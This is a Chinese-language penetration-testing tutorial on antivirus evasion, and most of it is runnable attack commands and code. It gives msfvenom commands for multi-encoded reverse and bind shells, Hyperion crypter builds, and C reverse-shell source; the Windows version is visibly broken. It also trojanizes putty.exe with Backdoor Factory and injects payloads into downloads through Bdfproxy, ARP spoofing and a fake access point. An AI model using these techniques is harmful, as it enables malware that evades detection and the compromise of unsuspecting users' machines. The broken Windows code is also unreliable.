渗透测试——免杀部分知识

1.恶意软件

  • 病毒、木马、蠕虫、键盘激励、僵尸程序、流氓软件、勒索软件、广告程序
  • 在用户非自愿的情况下执行安装
    • 处于某种恶意的目的:控制、窃取、勒索、偷窥、推送、攻击……

2.防病毒软件

  • 恶意程序最主要的防护手段
    • 杀毒软件/防病毒软件
    • 客户端/服务器/邮件防病毒
  • 检测原理
    • 基于二进制文件中特征签名的黑名单检测方法
    • 基于行为的分析方法(启发式)
  • 事后手段
    • 永远落后于病毒发展

3.免杀技术

  • 修改二进制文件中的特征字符
    • 替换、擦除、修改
  • 加密技术(crypter)
    • 通过加密是的特征字符不可读,从而逃避AV 检测
    • 运行时分片分段的解密执行,注入进程或 AV 不检查的无害文件中
  • 防病毒软件的检测
    • 恶意程序本身的特征字符
    • 加密器 cripter 的特征字符

4.当前现状

  • 恶意软件制造者
    • 编写私有的 RAT 软件,避免普遍被 AV 所知的特征字符
    • 使用独有 crypter 软件加密恶意程序
    • 处事低调,尽量避免被发现
    • 没有能力自己编写恶意代码的黑客,通过直接修改特征码的方式免杀
    • Fully UnDetectable 还最高追求 (FUD)
  • AV 厂商
    • 广泛采集样本,尽快发现出现的病毒程序,更新病毒库
    • 一般新的恶意软件安全 UD 窗口期是一周左右
    • 乐毅软件制造者永无休止的拉锯战
    • 信的启发式检测技术尚有待完善(误杀漏杀)
  • 单一 AV 厂商的病毒库很难达到 100% 覆盖

5.生成病毒程序

1.生成程序
  • 生成反弹 shell
1
root@kali:~# msfvenom -p windows/shell/bind_tcp lhost=10.10.10.131 lport=4444 -a x86 --platform win -f exe -o a.exe
  • 加密编码反弹 shell
1
root@kali:~# msfvenom -p windows/shell/bind_tcp lhost=10.10.10.132 lport=4444 -f raw -e x86/shikata_ga_nai -i 5 | msfvenom -a x86 --platform windows -e x86/countdown -i 8  -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -b '\x00' -f exe -o b.exe
  • 比较编码前后的检测率
2.隐藏shell
  • 利用模板隐藏 shell
1
root@kali:~# msfvenom -p windows/shell_reverse_tcp -x /usr/share/windows-binaries/plink.exe lhost=10.10.10.131 lport=4444 -a x86 --platform win -f exe -o c.exe
  • 多重编码
1
root@kali:~# msfvenom -p windows/shell/bind_tcp -x /usr/share/windows-binaries/plink.exe lhost=10.10.10.131 lport=4444 -e x86/shikata_ga_nai -i 5 -a x86 --platform win -f exe > d.exe
  • 比较编码前后的检测率

软件保护

  • 软件开发商为保护版权,采用的混淆和加密技术避免盗版逆向
  • 常被恶意软件用于免杀目的
  • Hyperion (32bit PE 程序加密器)
  • Crypter / Container(解密器 PE Loader )
1
2
3
4
5
6
7
8
9
10
11
12
root@kali:~# git clone https://github.com/nullsecuritynet/tools/raw/master/binary/hyperion/release/Hyperion-1.2.zip
root@kali:~# unzip Hyperion-1.2.zip
root@kali:~# dpkg --add-architecture i386 && apt-get update && apt-get install wine32

# 生成加密器
root@kali:~# cd Hyperion-1.2 && i686-w64-mingw32-g++ -static-libgcc -static-libstdc++ Src/Crypter/*.cpp -o h.exe

# 生成木马程序
root@kali:~# msfvenom -p windows/shell/reverse_tcp lhost=10.10.10.131 lport=4444 --platform win -e x86/shikata_ga_nai -a x86 -f exe -o p.exe

# 对木马程序进行加密
root@kali:~# wine h.exe p.exe x.exe
  • 比较编码前后的检测率

7.自己编写后门

  • Windows reverse shell
1
root@kali:~# wine gcc.exe windows.c -o windows.exe -lws2_32
  • Linux shell
1
2
3
4
5
root@kali:~# gcc linux_revers_shell.c -o linux

# 测试程序
root@kali:~# nc -nvlp 333
root@kali:~# ./linux 127.0.0.1 333

在这里插入图片描述

  • linux_revers_shell.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>

int main(int argc, char *argv[])
{
struct sockaddr_in sock;
int s;
if (argc != 3)
{
fprintf(stderr, "uso: 192.168.153.166 4444\n"); exit(1);
}
sock.sin_family = AF_INET;
sock.sin_port = htons(atoi(argv[2]));
sock.sin_addr.s_addr = inet_addr(argv[1]);
s = socket(AF_INET, SOCK_STREAM, 0);

connect(s,(struct sockaddr_in *)&sock, sizeof(struct sockaddr_in));

dup2(s,0);
dup2(s,1);
dup2(s,2);
execl("/bin/sh","httpd",(char *)0); //precess httpd
}
  • windows.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# 未修正错误
#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib,"ws2_32")

WSADATA wsaData;
SOCKET Winsock;
SOOKET Sock;
struct sockaddr_in hax;
char ip_addr[16];
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;

int main(int argc,char *argv[])
WSAStartup(MAKEWORD(2,2), wsaData);
winsock=WSASoket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);

if (argc != 3)
{fprintf(stderr,"Uso: <rhost> <rport>\n";) exit(1);}
struct hostent *host;
host = gethostbyname(argv [1] );
strcpy(ip_addr,inet_ntoa(*((struct in_addr *)host->h_addr)));

hax.sin_family = AF_INET;
hax.sin_port = htons(atoi(argv[2]));
hax.sin_addr.s_addr = inet_addr(ip_addr);

WSAConnect(Winsock,(SOCKADDR* &hax,sizeof(hax),NULL,NULL,NULL,NULL;
memset(&ini_processo,0,sizeof(ini_processo));
ini_processo.cb = sizeof(ini_processo);
ini_processo.dwFlags = START_USESTDHANDLES;
ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
CreateProcess(NULL,"cmd exe",NULL,NULL,TRUE,0,NULL,NULL,&ini_processo,&process_info);

在这里插入图片描述

后门工具–Backdoor-factory

1.简介
  • patch
    • 通过替换 exe、dll、注册表等方法修复系统漏洞或问题的方法
    • bdf:向二进制文件中增加或者删除代码内容
      • 某些受保护的二进制程序无法 patch
      • 存在一定概率问价你会被 patch 坏掉
  • 后门工厂
    • 使用于 windows PE x32/64 和 linux ELF x32/64 (OSX)
    • 支持 msf payload、自定义 payload
  • 将 shellcode 代码 patch 进模板文件,躲避 AV 检查
  • python 语言编写
  • msf 使用的 patch 方法
    • 覆盖程序入口
      • msfvenom -p windows/shell/reverse_tcp
    • 创建新的线程执行 shellcode 并跳回原程序入口
      • msfvenom -p windows/shell/reverse_tcp –k
      • 增加代码片段跳转执行后跳回源程序入口
  • CTP 方法
    • 增加新的代码段 session,与 smf 的-k 方法类似
    • 使用现有的代码裂缝/洞(code cave)存放 shellcode
  • 代码洞
    • 二进制中超过两个字节的连续 x00 区域(代码片段间区域)
    • 根据统计判断代码洞是编译在进行编译是造成的,不同的编译器造成的代码洞的大小不同
  • 单个代码洞代销不足以存放完整的 shellcode
    • 多代码洞跳转(非顺序执行)
      • 初期免杀率可达100%
    • 结合 msf 的 stager 方法
  • patch 选项
    • 附加代码段
    • 单代码洞注入
    • 多代码注入
  • BDF 基本使用
    • 检查二进制文件是否支持代码注入
      • backdoor-factory -f putty.exe –S
    • 显示可用 payload
      • backdoor-factory -f putty.exe -s show
      • backdoor-factory -f which nc -s show
      • backdoor-factory -f putty.exe -s show iat_reverse_tcp_stager_threaded -H 10.10.10.133 -P 4444
      • 默认单一代码洞,选项 .rdata –> 查看文件 –> 查病毒
      • 使用 msf 侦听 set payload windows/meterpreter/revers_tcp set LHOST 10.10.10.131 set LPORT 4444 run
    • 查看 cave 大小
      • ackdoor-factory -f putty.exe -c -l
  • 免杀效果对比
    • backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 1.1.1.1 -P 6666
    • backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 1.1.1.1 -P 6666 –J
    • backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 192.168.20.8 -P 6666 -a
  • 与 veil-evasion 集成
  • Linux:backdoor-factory -f putty.exe -s show
  • IAT:import address table
  • 指针指向 WinAPI 地址,被称为 thunks (形实转换程序),地址预定义

2.使用

  • -S:检查二进制文件是否支持代码注入

    1
    root@kali:~# backdoor-factory -f putty.exe –S

在这里插入图片描述

  • -c: 在确定其支持patch 后,我们再来查看其是否支持我们指定的 shellcode patch
1
2
3
-c:code cave(代码裂缝)
-l:代码裂缝大小
root@kali:~# backdoor-factory -f putty.exe -c -l 200
  • -s SHELL, –shell=SHELL: 可以使用的有效负载。使用“show”来查看有效载荷

    1
    root@kali:~# backdoor-factory -f putty.exe -s show
1
root@kali:~# backdoor-factory -f `which nc` -s show
  • 注入 putty.exe,报错

    1
    root@kali:~# backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 10.10.10.131 -P 4444 -o putty2.exe
1
[!] Enter your selection: 2
  • 显示未找到文件

    1
    2
    3
    4
    5
    6
    7
    Failed to read certificate file: /usr/share/backdoor-factory/certs/Verisign.cer
    139701503748160:error:02001002:system library:fopen:No such file or directory:bss_file.c:175:fopen('/usr/share/backdoor-factory/certs/VerisignPrivateKey.pem','rb')
    139701503748160:error:2006D080:BIO routines:BIO_new_file:no such file:bss_file.c:182:
    139701503748160:error:02001002:system library:fopen:No such file or directory:bss_file.c:175:fopen('/usr/share/backdoor-factory/certs/Verisign.cer','rb')
    139701503748160:error:2006D080:BIO routines:BIO_new_file:no such file:bss_file.c:182:
    Failed
    File putty5.exe is in the 'backdoored' directory
  • 修复错误(备份并重命名)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    root@kali:~# cat /usr/share/backdoor-factory/certs/
    passFile.txt signingCert.cer signingPrivateKey.pem
    root@kali:~# cd /usr/share/backdoor-factory/certs/

    root@kali:/usr/share/backdoor-factory/certs# cp signingCert.cer signingCert.cer.bak
    root@kali:/usr/share/backdoor-factory/certs# mv signingCert.cer Verisign.cer
    root@kali:/usr/share/backdoor-factory/certs# cp signingPrivateKey.pem signingPrivateKey.pem.bak
    root@kali:/usr/share/backdoor-factory/certs# mv signingPrivateKey.pem VerisignPrivateKey.pem

    root@kali:~# backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 10.10.10.131 -P 4444 -o putty2.exe
  • 使用 msf 侦听

    1
    2
    3
    4
    5
    msf > use exploit/multi/handler
    msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
    msf exploit(multi/handler) > set LHOST 10.10.10.131
    msf exploit(multi/handler) > set LPORT 4444
    msf exploit(multi/handler) > run
  • windows 运行被注入 putty2.exe 程序,kali 反弹成功

  • 免杀效果比较

    查病毒网站:http://www.virscan.org/scan/

1
2
3
backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 10.10.10.131 -P 4444 --output-file=putty3.exe
backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 10.10.10.131 -P 4444 --output-file=putty4.exe –J
backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 10.10.10.131 -P 4444 --output-file=putty5.exe -a
  • 与 veil-evasion 集成

    1
    2
    root@kali:~# veil-evasion
    [menu>>]: list

后门工具–Bdfproxy

1.简介

  • Bdfproxy(mitmproxy)
    • 基于流量劫持(中间人攻击)动态注入 shellcode (ARP spoof、DNS spoof、Fake AP)
  • 步骤
    • sysctl -w net.ipv4.ip_forward=1
    • iptables -t nat -A PREROUTING -p tcp –dport 80/443 -j REDIRECT –to-ports 8080
    • vi /etc/bdfproxy/bdfproxy.cfg
      • proxyMode = transparent
        修改侦听 IP 地址bdfproxy
  • arpspoof -i eth0 -t 1.1.1.2 1.1.1.1
  • 启动 msf
  • 流程
    • mana 创建 Fack AP
    • badfproxy 代理注入代码
    • msf 侦听反弹 shell

2.使用

  • 修改 IP 转发

    1
    2
    root@kali:~# vim /etc/sysctl.conf 
    net.ipv4.ip_forward=1
  • 修改 iptables

    1
    2
    root@kali:~# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
    root@kali:~# iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8080
  • 修改配置文件

    1
    2
    3
    root@kali:~# vim /etc/bdfproxy/bdfproxy.cfg
    proxyMode = transparent
    HOST = 10.10.10.131 #108行,117行,128行,替换所有的,有6
  • 启动 bdfproxy

    1
    root@kali:~# bdfproxy
  • 启动 msfconsole

    1
    2
    root@kali:~# msfconsole -r /root/bdfproxy_msf_resource.rc
    msf exploit(multi/handler) > jobs
  • arp 欺骗

    1
    root@kali:~# arpspoof -i eth0 -t 10.10.10.133 10.10.10.2
  • 靶机访问浏览器下载软件,并运行

    1
    ![](https://i.imgur.com/1qLFgFZ.png)

3.无线流量劫持

  • vi /etc/mana-toolkit/hostapd-mana.conf

    • 修改无线 SSID 名称
  • ./usr/share/mana-toolkit/run-mana/start-nat-simple.sh

    • 修改 wlan1 无线网卡适配器并启动
    • iptables -t nat -A PREROUTING -i $phy -p tcp –dport 80/443 -j REDIRECT –to-port 8080
  • vi /etc/bdfproxy/bdfproxy.cfg

    • proxyMode = transparent
    • 修改侦听 IP 地址并启动 badfproxy
  • 启动 msf

    • msfconsole -r /usr/share/bdfproxy/bdfproxy_msf_resource.rc
  • 补充内容

    • 全站 HTTPS 防注入(微软每个补丁都带码)
    • PE 文件证书签名可被清除
    • PE Header -> Optional Header -> Certificate Table(Address and size)
      • 全部用 0 覆盖
      • BDF 默认清除数字签名
  • https://live.sysinternals.com/

    • 这是允许访问所有Sysinternals公用程序的文件共享。我们已经开发了这个功能来测试我们实用程序的替代分配机制。
    • 这将允许您从任何连接到互联网的计算机运行这些工具,而无需导航到网页,下载并解压zip文件。
  • Sysinternals网站

    • Sysinternals网站由Mark Russinovich于1996年创建,主办他先进的系统实用程序和技术信息。无论您是IT专业人员还是开发人员,您都可以找到Sysinternals实用程序来帮助您管理,诊断和诊断Windows系统和应用程序。